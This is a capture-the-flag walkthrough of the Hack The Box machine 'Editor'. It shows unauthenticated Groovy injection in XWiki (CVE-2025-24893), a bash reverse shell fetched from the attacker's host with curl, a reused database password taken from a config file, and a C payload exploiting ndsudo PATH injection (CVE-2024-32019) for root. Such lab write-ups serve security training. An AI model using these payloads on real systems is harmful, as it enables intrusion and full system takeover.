HTB: Editor
Editor is a Linux box hosting a code editor website, with documentation on an XWiki instance. I’ll exploit a vulnerability in XWiki’s Solr search that allows unauthenticated Groovy script injection to get remote code execution and a shell. From there, I’ll find database credentials in the XWiki Hibernate config and pivot to a user who reuses the password. Enumerating localhost services, I’ll find NetData running an older version that installs a vulnerable ndsudo SetUID binary that is vulnerable to PATH injection, which I’ll abuse to get root.
Box Info
| Name | Editor Play on HackTheBox |
|---|---|
| Release Date | 02 Aug 2025 |
| Retire Date | 06 Dec 2025 |
| OS | Linux |
| Base Points | Easy [20] |
| Rated Difficulty | ![]() |
| Radar Graph | ![]() |
| 00:10:50 |
|
| 00:27:55 |
|
| Creators |
Recon
Initial Scanning
nmap finds three open TCP ports, SSH (22) and two HTTP (80, 8080):
oxdf@hacky$ nmap -p- -vvv --min-rate 10000 10.10.11.80
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-09 18:01 UTC
...[snip]...
Nmap scan report for 10.10.11.80
Host is up, received echo-reply ttl 63 (0.12s latency).
Scanned at 2025-08-09 18:01:57 UTC for 16s
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
8080/tcp open http-proxy syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 16.11 seconds
Raw packets sent: 153968 (6.775MB) | Rcvd: 105117 (4.205MB)
oxdf@hacky$ nmap -p 22,80,8080 -sCV 10.10.11.80
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-09 18:06 UTC
Nmap scan report for 10.10.11.80
Host is up (0.089s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editor.htb/
8080/tcp open http Jetty 10.0.20
| http-methods:
|_ Potentially risky methods: PROPFIND LOCK UNLOCK
|_http-server-header: Jetty(10.0.20)
| http-webdav-scan:
| Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, LOCK, UNLOCK
| Server Type: Jetty(10.0.20)
|_ WebDAV type: Unknown
| http-title: XWiki - Main - Intro
|_Requested resource was http://10.10.11.80:8080/xwiki/bin/view/Main/
| http-cookie-flags:
| /:
| JSESSIONID:
|_ httponly flag not set
| http-robots.txt: 50 disallowed entries (15 shown)
| /xwiki/bin/viewattachrev/ /xwiki/bin/viewrev/
| /xwiki/bin/pdf/ /xwiki/bin/edit/ /xwiki/bin/create/
| /xwiki/bin/inline/ /xwiki/bin/preview/ /xwiki/bin/save/
| /xwiki/bin/saveandcontinue/ /xwiki/bin/rollback/ /xwiki/bin/deleteversions/
| /xwiki/bin/cancel/ /xwiki/bin/delete/ /xwiki/bin/deletespace/
|_/xwiki/bin/undelete/
|_http-open-proxy: Proxy might be redirecting requests
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.63 seconds
Based on the OpenSSH and nginx versions, the host is likely running Ubuntu 22.04 jammy [LTS].
All of the ports show a TTL of 63, which matches the expected TTL for Linux one hop away.
The website on port 80 is redirecting to editor.htb.
Subdomain Brute Force
Given the use of domain name based routing and the domain editor.htb, I’ll check for subdomains that respond differently than the default case using ffuf:
oxdf@hacky$ ffuf -u http://10.10.11.80 -H "Host: FUZZ.editor.htb" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -ac
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.11.80
:: Wordlist : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
:: Header : Host: FUZZ.editor.htb
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
wiki [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 93ms]
:: Progress: [19966/19966] :: Job [1/1] :: 447 req/sec :: Duration: [0:00:45] :: Errors: 0 ::
I’ll add both editor.htb and the wiki subdomain to my /etc/hosts file:
10.10.11.80 editor.htb wiki.editor.htb
I’ll rerun nmap on each domain to see if anything else jumps out. It seems the wiki subdomain may just be nginx proxying to the 8080 port:
oxdf@hacky$ nmap -p 80,8080 -sCV wiki.editor.htb
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-09 18:13 UTC
Nmap scan report for wiki.editor.htb (10.10.11.80)
Host is up (0.089s latency).
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-title: XWiki - Main - Intro
|_Requested resource was http://wiki.editor.htb/xwiki/bin/view/Main/
| http-methods:
|_ Potentially risky methods: PROPFIND LOCK UNLOCK
| http-cookie-flags:
| /:
| JSESSIONID:
|_ httponly flag not set
| http-webdav-scan:
| Server Type: nginx/1.18.0 (Ubuntu)
| Server Date: Sat, 09 Aug 2025 11:12:48 GMT
| Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, LOCK, UNLOCK
|_ WebDAV type: Unknown
| http-robots.txt: 50 disallowed entries (15 shown)
| /xwiki/bin/viewattachrev/ /xwiki/bin/viewrev/
| /xwiki/bin/pdf/ /xwiki/bin/edit/ /xwiki/bin/create/
| /xwiki/bin/inline/ /xwiki/bin/preview/ /xwiki/bin/save/
| /xwiki/bin/saveandcontinue/ /xwiki/bin/rollback/ /xwiki/bin/deleteversions/
| /xwiki/bin/cancel/ /xwiki/bin/delete/ /xwiki/bin/deletespace/
|_/xwiki/bin/undelete/
8080/tcp open http Jetty 10.0.20
|_http-open-proxy: Proxy might be redirecting requests
| http-cookie-flags:
| /:
| JSESSIONID:
|_ httponly flag not set
| http-methods:
|_ Potentially risky methods: PROPFIND LOCK UNLOCK
| http-webdav-scan:
| Server Type: Jetty(10.0.20)
| Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, LOCK, UNLOCK
|_ WebDAV type: Unknown
|_http-server-header: Jetty(10.0.20)
| http-robots.txt: 50 disallowed entries (15 shown)
| /xwiki/bin/viewattachrev/ /xwiki/bin/viewrev/
| /xwiki/bin/pdf/ /xwiki/bin/edit/ /xwiki/bin/create/
| /xwiki/bin/inline/ /xwiki/bin/preview/ /xwiki/bin/save/
| /xwiki/bin/saveandcontinue/ /xwiki/bin/rollback/ /xwiki/bin/deleteversions/
| /xwiki/bin/cancel/ /xwiki/bin/delete/ /xwiki/bin/deletespace/
|_/xwiki/bin/undelete/
| http-title: XWiki - Main - Intro
|_Requested resource was http://wiki.editor.htb:8080/xwiki/bin/view/Main/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.12 seconds
editor.htb - TCP 80
Site
The site is for a code editor:
Looking around the site, the “Docs” link goes to http://wiki.editor.htb/xwiki/.
The “About” link changes the URL to /about, but doesn’t make any new web requests.
The email address contact@editor.htb shows up in a few places.
There’s downloads for Linux and Windows:
Tech Stack
The website is behind nginx, but it’s not clear what framework is in use there. The HTTP response headers don’t give any clues:
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 09 Aug 2025 11:28:07 GMT
Content-Type: text/html
Last-Modified: Sun, 15 Jun 2025 06:18:30 GMT
Connection: keep-alive
ETag: W/"684e65b6-277"
Content-Length: 631
The 404 page is the default nginx 404:
Loading /index.html does return a partial broken page with the headers and footers kind of overlapping:
Looking at the JavaScript sources, it claims to be React:
Wappalyzer agrees:
Directory Brute Force
I’ll run feroxbuster against the site, and include -x html since I’ve seen there’s at least an index.html file:
oxdf@hacky$ feroxbuster -u http://editor.htb -x html
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://editor.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
🔎 Extract Links │ true
💲 Extensions │ [html]
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 7l 12w 162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 1l 477w 16052c http://editor.htb/assets/index-DzxC4GL5.css
301 GET 7l 12w 178c http://editor.htb/assets => http://editor.htb/assets/
200 GET 147l 5460w 190349c http://editor.htb/assets/index-VRKEJlit.js
200 GET 15l 55w 631c http://editor.htb/
403 GET 7l 10w 162c http://editor.htb/assets/
200 GET 15l 55w 631c http://editor.htb/index.html
[####################] - 2m 60004/60004 0s found:6 errors:0
[####################] - 2m 30000/30000 278/s http://editor.htb/
[####################] - 2m 30000/30000 279/s http://editor.htb/assets/
Nothing interesting at all.
wiki.editor.htb - TCP 80 / 8080
Site
Visiting editor.htb:8080 or 10.10.11.80:8080 or wiki.editor.htb all return the same site, which is the Wiki docs for the SimplistCode Pro software:
There’s not a ton of pages, only the main page and the installation instructions.
Tech Stack
The site is running on XWiki. The HTTP response headers when visited on 8080 shows a Server header of Jetty, which is consistent with XWiki being built on Java:
HTTP/1.1 200 OK
Content-Script-Type: text/javascript
Set-Cookie: JSESSIONID=node01l94awsavstrj11849qq567mnm14.node0; Path=/xwiki
Expires: Wed, 31 Dec 1969 23:59:59 GMT
Content-Language: en
Content-Type: text/html;charset=utf-8
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 32246
Server: Jetty(10.0.20)
The page footer has the version XWiki Debian 15.10.8.
Shell as xwiki
CVE-2025-24893 Background
I’ll start by searching for vulnerabilities in this version of XWiki. When I search for “xwiki debian 15.10.8 cve”, a hit from NIST comes back about CVE-2025-24893:
This security advisory on GitHub has more details:
Impact
Any guest can perform arbitrary remote code execution through a request to
SolrSearch. This impacts the confidentiality, integrity and availability of the whole XWiki installation.To reproduce on an instance, without being logged in, go to
<host>/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28"Hello%20from"%20%2B%20"%20search%20text%3A"%20%2B%20%2823%20%2B%2019%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20. If there is an output, and the title of the RSS feed containsHello from search text:42, then the instance is vulnerable.Patches
This vulnerability has been patched in XWiki 15.10.11, 16.4.1 and 16.5.0RC1.
Given that Editor is running 15.10.8, it should be vulnerable to this exploit, patched in 15.10.11.
Looking at the POC in the description, it is a path on the server to visit with a URL-encoded injection in the text argument. The payload decodes to:
}}}{{async async=false}}{{groovy}}println("Hello from" + " search text:" + (23 + 19)){{/groovy}}{{/async}}
It looks like some kind of templating injection where code inside {{groovy}} runs as Groovy script.
POC
I’ll build the following URL by combining http://wiki.editor.htb with the POC:
http://wiki.editor.htb/xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22Hello%20from%22%20%2B%20%22%20search%20text%3A%22%20%2B%20%2823%20%2B%2019%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20
The Groovy command in there generates the text string “Hello from search text:42”. When I paste this into Firefox, it downloads a file:
Clicking on it opens in Firefox, and there’s my text in the title:
That’s RCE.
Shell
Execute
The POC above used Groovy to create a string, but I want to execute system commands. Some searching leads me to this StackOverflow post:
That’s exactly what I want. I’ll update the bit inside the println call to "id".execute().text. To do that, I’ll send the previous request to Burp Repeater:
I’ll select the green stuff after “text=” and push Ctrl-Shift-u to URL decode it:
I’ll update the command:
And then select everything between the “=” and the last space before “HTTP” and right click –> Convert selection –> URL –> URL-encode all characters:
If I Ctrl-u or “URL-encode key characters”, it will change the spaces to “+” rather than “%20”, which will cause a 500 error on the server. The resulting request looks like:
It should end with an encoded space, “%20”. On sending that, the response has the id output in it:
Shell
My first attempt is always to try a bash reverse shell, but I couldn’t get it to work here. A lot of times languages like Java and Groovy don’t handle redirects and pipes inside command execution, and this shell is full of them.
I’ll create a simple reverse shell in a file on my host called rev:
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.6/443 0>&1
Now I’ll try the command curl http://10.10.14.6/rev|bash. I’ll start a Python webserver in the directory with rev (sudo python -m http.server 80), and send the command. There are requests at the webserver:
10.10.11.80 - - [10/Aug/2025 02:52:49] code 404, message File not found
10.10.11.80 - - [10/Aug/2025 02:52:49] "GET /rev|bash HTTP/1.1" 404 -
10.10.11.80 - - [10/Aug/2025 02:52:50] code 404, message File not found
10.10.11.80 - - [10/Aug/2025 02:52:50] "GET /rev|bash HTTP/1.1" 404 -
It’s treating the pipe character as part of the file. This is an example of Groovy not handling pipes.
I’ll try curl http://10.10.14.6/rev -o /dev/shm/rev instead. It successfully gets the file twice:
10.10.11.80 - - [10/Aug/2025 02:54:27] "GET /rev HTTP/1.1" 200 -
10.10.11.80 - - [10/Aug/2025 02:54:28] "GET /rev HTTP/1.1" 200 -
Now I just update my command to bash /dev/shm/rev. As soon as I send it, there’s a connection at nc:
oxdf@hacky$ sudo nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.80 41732
bash: cannot set terminal process group (1065): Inappropriate ioctl for device
bash: no job control in this shell
xwiki@editor:/usr/lib/xwiki-jetty$
I’ll perform a shell upgrade:
xwiki@editor:/usr/lib/xwiki-jetty$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
xwiki@editor:/usr/lib/xwiki-jetty$ ^Z
[1]+ Stopped nc -lnvp 443
oxdf@hacky$ stty raw -echo; fg
nc -lnvp 443
reset
reset: unknown terminal type unknown
Terminal type? screen
xwiki@editor:/usr/lib/xwiki-jetty$
That’s a shell as xwiki on Editor.
Shell as oliver on Editor
Enumeration
Users
The xwiki user’s home directory is /var/lib/xwiki. I’ll check /home, and there’s one user with a home directory there:
xwiki@editor:/home$ ls
oliver
Unsurprisingly, the xwiki user doesn’t have access. This does match the user’s with shells configured in passwd:
xwiki@editor:~$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
oliver:x:1000:1000:,,,:/home/oliver:/bin/bash
XWiki Config
XWiki is configured from /etc/xwiki:
xwiki@editor:/etc/xwiki$ ls
cache jetty-ee8-web.xml version.properties
extensions jetty-web.xml web.xml
fonts logback.xml xwiki.cfg
hibernate.cfg.xml observation xwiki-locales.txt
hibernate.cfg.xml.ucf-dist portlet.xml xwiki.properties
jboss-deployment-structure.xml sun-web.xml xwiki-tomcat9.xml
Hibernate is a Java ORM (maps the programming language / framework to the database).
hibernate.cfg.xml is a large file, but the interesting part is:
...[snip]...
<!-- Configuration for the default database.
Comment out this section and uncomment other sections below if you want to use another database.
Note that the database tables will be created automatically if they don't already exist.
If you want the main wiki database to be different than "xwiki" (or the default schema for schema based
engines) you will also have to set the property xwiki.db in xwiki.cfg file
-->
<property name="hibernate.connection.url">jdbc:mysql://localhost/xwiki?useSSL=false&connectionTimeZone=LOCAL&a
mp;allowPublicKeyRetrieval=true</property>
<property name="hibernate.connection.username">xwiki</property>
<property name="hibernate.connection.password">theEd1t0rTeam99</property>
<property name="hibernate.connection.driver_class">com.mysql.cj.jdbc.Driver</property>
<property name="hibernate.dbcp.poolPreparedStatements">true</property>
<property name="hibernate.dbcp.maxOpenPreparedStatements">20</property>
<property name="hibernate.connection.charSet">UTF-8</property>
<property name="hibernate.connection.useUnicode">true</property>
<property name="hibernate.connection.characterEncoding">utf8</property>
<mapping resource="xwiki.hbm.xml"/>
<mapping resource="feeds.hbm.xml"/>
<mapping resource="instance.hbm.xml"/>
<mapping resource="notification-filter-preferences.hbm.xml"/>
<mapping resource="mailsender.hbm.xml"/>
...[snip]...
This is the database connection information. It’s a MySQL connection on localhost with the user xwiki and the password “theEd1t0rTeam99”.
I can use this to connect to the database and check it out, but it’s pretty empty, and I don’t need to.
SSH
I know of two users and one password. I’ll check each to see if they happen to share this password, and oliver does!
oxdf@hacky$ netexec ssh editor.htb -u root -p theEd1t0rTeam99
SSH 10.10.11.80 22 editor.htb SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.13
SSH 10.10.11.80 22 editor.htb [-] root:theEd1t0rTeam99
oxdf@hacky$ netexec ssh editor.htb -u oliver -p theEd1t0rTeam99
SSH 10.10.11.80 22 editor.htb SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.13
SSH 10.10.11.80 22 editor.htb [+] oliver:theEd1t0rTeam99 Linux - Shell access!
I’ll connect:
oxdf@hacky$ sshpass -p theEd1t0rTeam99 ssh oliver@editor.htb
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-151-generic x86_64)
...[snip]...
oliver@editor:~$
I’ll grab user.txt:
oliver@editor:~$ cat user.txt
217c09e4************************
Interestingly, su doesn’t work here:
xwiki@editor:$ su - oliver
Password:
su: Authentication failure
I’ll look at this in Beyond Root.
Shell as root
Enumeration
Home Directory
oliver’s home directory is basically empty:
oliver@editor:~$ ls -la
total 28
drwxr-x--- 3 oliver oliver 4096 Jul 8 08:34 .
drwxr-xr-x 3 root root 4096 Jul 8 08:34 ..
lrwxrwxrwx 1 root root 9 Jul 1 19:19 .bash_history -> /dev/null
-rw-r--r-- 1 oliver oliver 220 Jun 13 09:45 .bash_logout
-rw-r--r-- 1 oliver oliver 3771 Jun 13 09:45 .bashrc
drwx------ 2 oliver oliver 4096 Jul 8 08:34 .cache
-rw-r--r-- 1 oliver oliver 807 Jun 13 09:45 .profile
-rw-r----- 1 root oliver 33 Jun 19 12:06 user.txt
Network
I’ll look at listening ports:
oliver@editor:~$ ss -tnl
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 4096 127.0.0.1:19999 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:8125 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 151 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:43143 0.0.0.0:*
LISTEN 0 70 127.0.0.1:33060 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 50 [::ffff:127.0.0.1]:8079 *:*
LISTEN 0 511 [::]:80 [::]:*
LISTEN 0 128 [::]:22 [::]:*
LISTEN 0 50 *:8080 *:*
There are a few listening on localhost only. I’ll poke at 19999, 8125, and 43143. 3306 is the XWiki MySQL connection, and 33060 is likely related.
Tunnels
I’ll use SSH tunnels to create tunnels to these ports. For just three ports, I can create them individually:
oxdf@hacky$ sshpass -p theEd1t0rTeam99 ssh oliver@editor.htb -L 19999:localhost:19999 -L 8125:localhost:8125 -L 43143:localhost:43143
...[snip]...
oliver@editor:~$
Each -L option creates a tunnel from the first port on my host to the same port on localhost on Editor.
TCP 43143
Visiting http://localhost:43143/ in my browser returns a 404 page
The source shows it’s literally just this text (no HTML).
I can run feroxbuster against it to brute force any additional paths (feroxbuster -u http://localhost:43143), but it doesn’t find anything.
TCP 8125
Typically with an unknown port I’ll try curl and nc. curl hangs on both http and https. nc connections, but then does nothing no matter what I send. This remains unknown.
TCP 19999
Visiting localhost:19999 in Firefox shows a dashboard:
Clicking the “Sign in” button loads a legit page on the real NetData site (not on the HTB Editor machine):
I don’t want to mess with this real page, but it does identify what I’m dealing with. NetData is a infrastructure monitoring solution.
There’s a banner across the top of the dashboard on Editor saying that this node is out of date, and the warning symbol at the top right, when clicked on, shows the details:
Editor is running 1.45.2. I can also find this version using the netdata binary on Editor:
oliver@editor:~$ /opt/netdata/bin/netdata -W buildinfo
Packaging:
Netdata Version ____________________________________________ : v1.45.2
Installation Type __________________________________________ : manual-static
Package Architecture _______________________________________ : x86_64
Package Distro _____________________________________________ : unknown
Configure Options __________________________________________ : dummy-configure-command
Default Directories:
User Configurations ________________________________________ : /opt/netdata/etc/netdata
Stock Configurations _______________________________________ : /opt/netdata/usr/lib/netdata/conf.d
Ephemeral Databases (metrics data, metadata) _______________ : /opt/netdata/var/cache/netdata
Permanent Databases ________________________________________ : /opt/netdata/var/lib/netdata
Plugins ____________________________________________________ : /opt/netdata/usr/libexec/netdata/plugins.d
Static Web Files ___________________________________________ : /opt/netdata/usr/share/netdata/web
Log Files __________________________________________________ : /opt/netdata/var/log/netdata
Lock Files _________________________________________________ : /opt/netdata/var/lib/netdata/lock
Home _______________________________________________________ : /opt/netdata/var/lib/netdata
Operating System:
Kernel _____________________________________________________ : Linux
Kernel Version _____________________________________________ : 5.15.0-151-generic
Operating System ___________________________________________ : Ubuntu
Operating System ID ________________________________________ : ubuntu
Operating System ID Like ___________________________________ : debian
Operating System Version ___________________________________ : 22.04.5 LTS (Jammy Jellyfish)
Operating System Version ID ________________________________ : none
Detection __________________________________________________ : /etc/os-release
Hardware:
CPU Cores __________________________________________________ : 2
CPU Frequency ______________________________________________ : 2994000000
RAM Bytes __________________________________________________ : 4101853184
Disk Capacity ______________________________________________ : 9663676416
CPU Architecture ___________________________________________ : x86_64
Virtualization Technology __________________________________ : vmware
Virtualization Detection ___________________________________ : systemd-detect-virt
Container:
Container __________________________________________________ : none
Container Detection ________________________________________ : systemd-detect-virt
Container Orchestrator _____________________________________ : none
Container Operating System _________________________________ : none
Container Operating System ID ______________________________ : none
Container Operating System ID Like _________________________ : none
Container Operating System Version _________________________ : none
Container Operating System Version ID ______________________ : none
Container Operating System Detection _______________________ : none
Features:
Built For __________________________________________________ : Linux
Netdata Cloud ______________________________________________ : YES
Health (trigger alerts and send notifications) _____________ : YES
Streaming (stream metrics to parent Netdata servers) _______ : YES
Back-filling (of higher database tiers) ____________________ : YES
Replication (fill the gaps of parent Netdata servers) ______ : YES
Streaming and Replication Compression ______________________ : YES (zstd lz4 gzip)
Contexts (index all active and archived metrics) ___________ : YES
Tiering (multiple dbs with different metrics resolution) ___ : YES (5)
Machine Learning ___________________________________________ : YES
Database Engines:
dbengine ___________________________________________________ : YES
alloc ______________________________________________________ : YES
ram ________________________________________________________ : YES
none _______________________________________________________ : YES
Connectivity Capabilities:
ACLK (Agent-Cloud Link: MQTT over WebSockets over TLS) _____ : YES
static (Netdata internal web server) _______________________ : YES
h2o (web server) ___________________________________________ : YES
WebRTC (experimental) ______________________________________ : NO
Native HTTPS (TLS Support) _________________________________ : YES
TLS Host Verification ______________________________________ : YES
Libraries:
LZ4 (extremely fast lossless compression algorithm) ________ : YES
ZSTD (fast, lossless compression algorithm) ________________ : YES
zlib (lossless data-compression library) ___________________ : YES
Brotli (generic-purpose lossless compression algorithm) ____ : NO
protobuf (platform-neutral data serialization protocol) ____ : YES (system)
OpenSSL (cryptography) _____________________________________ : YES
libdatachannel (stand-alone WebRTC data channels) __________ : NO
JSON-C (lightweight JSON manipulation) _____________________ : YES
libcap (Linux capabilities system operations) ______________ : NO
libcrypto (cryptographic functions) ________________________ : YES
libyaml (library for parsing and emitting YAML) ____________ : YES
Plugins:
apps (monitor processes) ___________________________________ : YES
cgroups (monitor containers and VMs) _______________________ : YES
cgroup-network (associate interfaces to CGROUPS) ___________ : YES
proc (monitor Linux systems) _______________________________ : YES
tc (monitor Linux network QoS) _____________________________ : YES
diskspace (monitor Linux mount points) _____________________ : YES
freebsd (monitor FreeBSD systems) __________________________ : NO
macos (monitor MacOS systems) ______________________________ : NO
statsd (collect custom application metrics) ________________ : YES
timex (check system clock synchronization) _________________ : YES
idlejitter (check system latency and jitter) _______________ : YES
bash (support shell data collection jobs - charts.d) _______ : YES
debugfs (kernel debugging metrics) _________________________ : YES
cups (monitor printers and print jobs) _____________________ : NO
ebpf (monitor system calls) ________________________________ : YES
freeipmi (monitor enterprise server H/W) ___________________ : NO
nfacct (gather netfilter accounting) _______________________ : YES
perf (collect kernel performance events) ___________________ : YES
slabinfo (monitor kernel object caching) ___________________ : YES
Xen ________________________________________________________ : NO
Xen VBD Error Tracking _____________________________________ : NO
Logs Management ____________________________________________ : NO
Exporters:
AWS Kinesis ________________________________________________ : NO
GCP PubSub _________________________________________________ : NO
MongoDB ____________________________________________________ : NO
Prometheus (OpenMetrics) Exporter __________________________ : YES
Prometheus Remote Write ____________________________________ : YES
Graphite ___________________________________________________ : YES
Graphite HTTP / HTTPS ______________________________________ : YES
JSON _______________________________________________________ : YES
JSON HTTP / HTTPS __________________________________________ : YES
OpenTSDB ___________________________________________________ : YES
OpenTSDB HTTP / HTTPS ______________________________________ : YES
All Metrics API ____________________________________________ : YES
Shell (use metrics in shell scripts) _______________________ : YES
Debug/Developer Features:
Trace All Netdata Allocations (with charts) ________________ : NO
Developer Mode (more runtime checks, slower) _______________ : NO
CVE-2024-32019
Identify / Background
Searching for “netdata 1.45.2 cve” returns multiple references to CVE-2024-32019:
NIST describes CVE-2024-32019 as:
Netdata is an open source observability tool. In affected versions the
ndsudotool shipped with affected versions of the Netdata Agent allows an attacker to run arbitrary programs with root permissions. Thendsudotool is packaged as aroot-owned executable with the SUID bit set. It only runs a restricted set of external commands, but its search paths are supplied by thePATHenvironment variable. This allows an attacker to control wherendsudolooks for these commands, which may be a path the attacker has write access to. This may lead to local privilege escalation. This vulnerability has been addressed in versions 1.45.3 and 1.45.2-169. Users are advised to upgrade. There are no known workarounds for this vulnerability.
Basically, NetData ships with a copy of ndsudo owned by root and set as SetUID (so it runs as root regardless of who runs it). The vulnerability is fixed in 1.45.3, the version after what’s on Editor.
Exploit
There are POCs available, but I have enough in the description to try to figure it out myself. First, I’ll look for the file:
oliver@editor:~$ which ndsudo
oliver@editor:~$ find / -name ndsudo 2>/dev/null
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo
It’s not in oliver’s path, but find finds it very quickly. It is configured to run as root using SetUID:
oliver@editor:~$ ls -l /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo
-rwsr-x--- 1 root netdata 200576 Apr 1 2024 /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo
The s in the first execute place says that this binary will run as the owner of the binary rather than the user who starts the process..
Running it with -h shows the help menu:
oliver@editor:~$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo -h
ndsudo
(C) Netdata Inc.
A helper to allow Netdata run privileged commands.
--test
print the generated command that will be run, without running it.
--help
print this message.
The following commands are supported:
- Command : nvme-list
Executables: nvme
Parameters : list --output-format=json
- Command : nvme-smart-log
Executables: nvme
Parameters : smart-log --output-format=json
- Command : megacli-disk-info
Executables: megacli MegaCli
Parameters : -LDPDInfo -aAll -NoLog
- Command : megacli-battery-info
Executables: megacli MegaCli
Parameters : -AdpBbuCmd -aAll -NoLog
- Command : arcconf-ld-info
Executables: arcconf
Parameters : GETCONFIG 1 LD
- Command : arcconf-pd-info
Executables: arcconf
Parameters : GETCONFIG 1 PD
The program searches for executables in the system path.
Variables given as are expected on the command line as:
--variable VALUE
VALUE can include space, A-Z, a-z, 0-9, _, -, /, and .
There are six commands, each of which use a specific binary and have parameters. There’s a --test flag that just prints the command that would be run. I’ll give that a go:
oliver@editor:~$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list --test
nvme : not available in PATH.
It can’t even generate the command because it can’t find an nvme binary.
The vulnerability description says that I can exploit this by setting the PATH variable. It’s almost certainly going to run a binary with commands I don’t control, so I’ll make a small C program to do what I want:
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
int main() {
setuid(0);
seteuid(0);
setgid(0);
setegid(0);
system("cp /bin/bash /tmp/0xdf; chown root:root /tmp/0xdf; chmod 6777 /tmp/0xdf");
}
This will make sure the binary is running with root privs, and then call system to make a copy of bash that is SetUID. I’ll compile it:
oxdf@hacky$ gcc root.c -o nvme
And host it on my Python webserver. From Editor, I’ll upload it to /dev/shm and set it as executable:
oliver@editor:/dev/shm$ wget 10.10.14.6/nvme
--2025-08-09 21:33:02-- http://10.10.14.6/nvme
Connecting to 10.10.14.6:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16136 (16K) [application/octet-stream]
Saving to: ‘nvme’
nvme 100%[============================================================>] 15.76K --.-KB/s in 0.09s
2025-08-09 21:33:02 (172 KB/s) - ‘nvme’ saved [16136/16136]
oliver@editor:/dev/shm$ chmod +x nvme
Now I’ll run ndsudo with the path set to include /dev/shm at the front:
oliver@editor:/dev/shm$ PATH=/dev/shm:$PATH /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
It doesn’t output anything, but in /tmp:
oliver@editor:/dev/shm$ ls -l /tmp/0xdf
-rwsrwsrwx 1 root root 1396520 Aug 9 21:34 /tmp/0xdf
I’ll run it (with -p to not drop the SetUID privs):
oliver@editor:/dev/shm$ /tmp/0xdf -p
0xdf-5.1#
And get root.txt:
